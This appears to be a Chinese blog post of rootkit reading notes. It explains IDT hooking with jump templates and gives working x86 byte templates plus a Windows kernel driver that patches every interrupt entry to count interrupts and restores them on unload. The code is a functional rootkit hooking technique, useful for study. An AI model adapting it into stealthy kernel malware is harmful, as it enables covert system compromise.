读书笔记_Rootkit技术跳转模板

下面来介绍中断表的钩子,由于每个中断服务例程都位于不同的地址,因此每项的重入地址都是唯一的,这就需要一个跳转模板来调用到rootkit代码中,这种技术就称之为跳转模板(jump template)技术。

     所有模板调用相同的rootkit代码,函数总是返回到的它的调用者,因此不必担心rootkit代码中的运行时地址修正。这种技术将唯一的特定代码作用于每个ISR(Interrupt Service Rountine)钩子。在下面的示例中,这个唯一的代码保存了每个中断处理器的正确中断编号。


跳转模板,它首先保存所有的寄存器,包括标志寄存器,该模板将在以后调用由rootkit提供的另一个函数,因此要确保寄存器中的内容没有错误,以免在调用原始中断例程时导致崩溃。

跳转模板由两个版本,它们分别依赖于调试(debug)模式还是再发布(release)模式下进行编译。调试版本实际上并不调用rootkit代码,该调用被NOP操作处理掉了,在发布版中,保存了寄存器之后进行调用,然后以反向顺序恢复寄存器内容。在调用定义为stdcall,它意味着该函数执行后会进行清理操作。最后要注意将一个值移植入EAX然后将其推到栈上的代码。DriverEntry运行时将该值贴上中断编号。这就是rootkit代码获知刚调用哪个中断的方法。如下代码所示:

    

#ifdef _DEBUG

// debuggering version nops out our 'hook'

// this works w/ no crashes

char jump_template[] = {

       0x90,                                                                    //nop, debug

       0x60,                                                                    //pushad

       0x9C,                                                                   //pushfd

       0xB8, 0xAA, 0x00, 0x00, 0x00,                         //mov eax, AAh

       0x90,                                                                    //push eax

       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, //call 08:44332211h

       0x90,                                                                    //pop eax

       0x9D,                                                                   //popfd

       0x61,                                                                    //popad

       0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00 //jmp 08:44332211h

};

#else

char jump_template[] = {

       0x90,                                                                    //nop, debug

       0x60,                                                                    //pushad

       0x9C,                                                                   //pushfd

       0xB8, 0xAA, 0x00, 0x00, 0x00,                         //mov eax, AAh

       0x50,                                                                    //push eax

       0x9A, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00,       //call 08:44332211h

       0x58,                                                                    //pop eax

       0x9D,                                                                   //popfd

       0x61,                                                                    //popad

       0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00 //jmp 08:44332211h

};

#endif

   下面代码给出了每个中断都调用的函数。该函数只是计算每个中断的调用次数,它将中断编号作为参数传递。其中使用了多处理器安全的InterlockedIncrement函数来递增中断计数器。中断计数器保存为一个unsigned long 类型的全局数组。

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)

// interrupt number passed in EAX

void __stdcall count_interrupts(unsigned long inumber)

{

       //todo, may have collisions here?

       unsigned long *aCountP;

       unsigned long aNumber;

 

       // due to far call, we need to correct the base pointer

       // the far call pushes a double dword as the return address

       // and I don't know how to make the compiler understand this

       // is a __far __stdcall (or whatever it's called)

       // anyway:

       //

       // [ebp+0Ch] == arg1

       //

       __asm mov eax, [ebp+0Ch]

       __asm mov aNumber, eax

      

       //__asm int 3

 

       aNumber = aNumber & 0x000000FF;

       aCountP = &g_i_count[aNumber];

       InterlockedIncrement(aCountP);

}

DriverEntry 例程运行该补丁,执行修正操作,并为中断服务表中的每项生成跳转模板

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )

{

       IDTINFO            idt_info;              // this structure is obtained by calling STORE IDT (sidt)

       IDTENTRY*      idt_entries;   // and then this pointer is obtained from idt_info

       IDTENTRY*      i;

       unsigned long     addr;

       unsigned long      count;

       char _t[255];

      

       theDriverObject->DriverUnload  = OnUnload;

    // 下面初始化全局中断计数表,它存储每个中断的调用次数。中断编号对应// 于数组中的偏移量

       for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)

       {

              g_i_count[count]=0;

       }

 

       // load idt_info

       __asm    sidt idt_info

       idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

 

      

       // save old idt pointers

      

       for(count=START_IDT_OFFSET;count < MAX_IDT_ENTRIES;count++)

       {

              i = &idt_entries[count];

              addr = MAKELONG(i->LowOffset, i->HiOffset);

             

              _snprintf(_t, 253, "Interrupt %d: ISR 0x%08X", count, addr);

              DbgPrint(_t);

      

              old_ISR_pointers[count] = MAKELONG(idt_entries[count].LowOffset,idt_entries[count].HiOffset);

       }

 

        // 下面分配足够的内存来存储全部跳转模板。这块内存需要位于//NonPagedpool中

       ///

       // setup the detour table

       ///

       idt_detour_tablebase = ExAllocatePool(NonPagedPool, sizeof(jump_template)*256);

    // 以下代码用来获得NonPagePool中每个跳转表位置的指针,将跳转模板复//制到该位置,然后将正确的重入地址和中断编号贴入跳转模板中。对每个中断//每次都执行这些操作。

       for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)

       {

              int offset = sizeof(jump_template)*count;  

              char *entry_ptr = idt_detour_tablebase + offset;

 

              // entry_ptr points to the start of our jump code in the detour_table

 

              // copy the starter code into the template location

              memcpy(entry_ptr, jump_template, sizeof(jump_template));

 

#ifndef _DEBUG

 

              // stamp the interrupt number

              entry_ptr[4] = (char)count;

 

              // stamp the far call to the hook routine

              *( (unsigned long *)(&entry_ptr[10]) ) = (unsigned long)count_interrupts;

#endif

 

              // stamp the far jump to the original ISR

              *( (unsigned long *)(&entry_ptr[20]) ) = old_ISR_pointers[count];

       // 将中断表项修改为指向刚创建的新的跳转模板

              // finally, make the interrupt point to our template code

              __asm cli

              idt_entries[count].LowOffset = (unsigned short)entry_ptr;

              idt_entries[count].HiOffset = (unsigned short)((unsigned long)entry_ptr >> 16);

              __asm sti

       }

 

       DbgPrint("Hooking Interrupt complete");

 

       return STATUS_SUCCESS;

}

下面代码中的OnUnload例程恢复原始的中断表,它还打印每个中断的调用次数,若无法找到键盘中断,可以尝试这个驱动程序,并将一个键按下10次,卸载时键盘中断会被记录为已调用20次。

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{    

       int i;

       IDTINFO            idt_info;              // this structure is obtained by calling STORE IDT (sidt)

       IDTENTRY*      idt_entries;   // and then this pointer is obtained from idt_info

       char _t[255];

 

       // load idt_info

       __asm    sidt idt_info

       idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

 

       DbgPrint("ROOTKIT: OnUnload called\n");

 

       for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)

       {

              _snprintf(_t, 253, "interrupt %d called %d times", i, g_i_count[i]);

              DbgPrint(_t);

       }

 

       DbgPrint("UnHooking Interrupt...");

 

       for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)

       {

              // restore the original interrupt handler

              __asm cli

              idt_entries[i].LowOffset = (unsigned short) old_ISR_pointers[i];

              idt_entries[i].HiOffset = (unsigned short)((unsigned long)old_ISR_pointers[i] >> 16);

              __asm sti

       }

 

      

       DbgPrint("UnHooking Interrupt complete.");

}

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值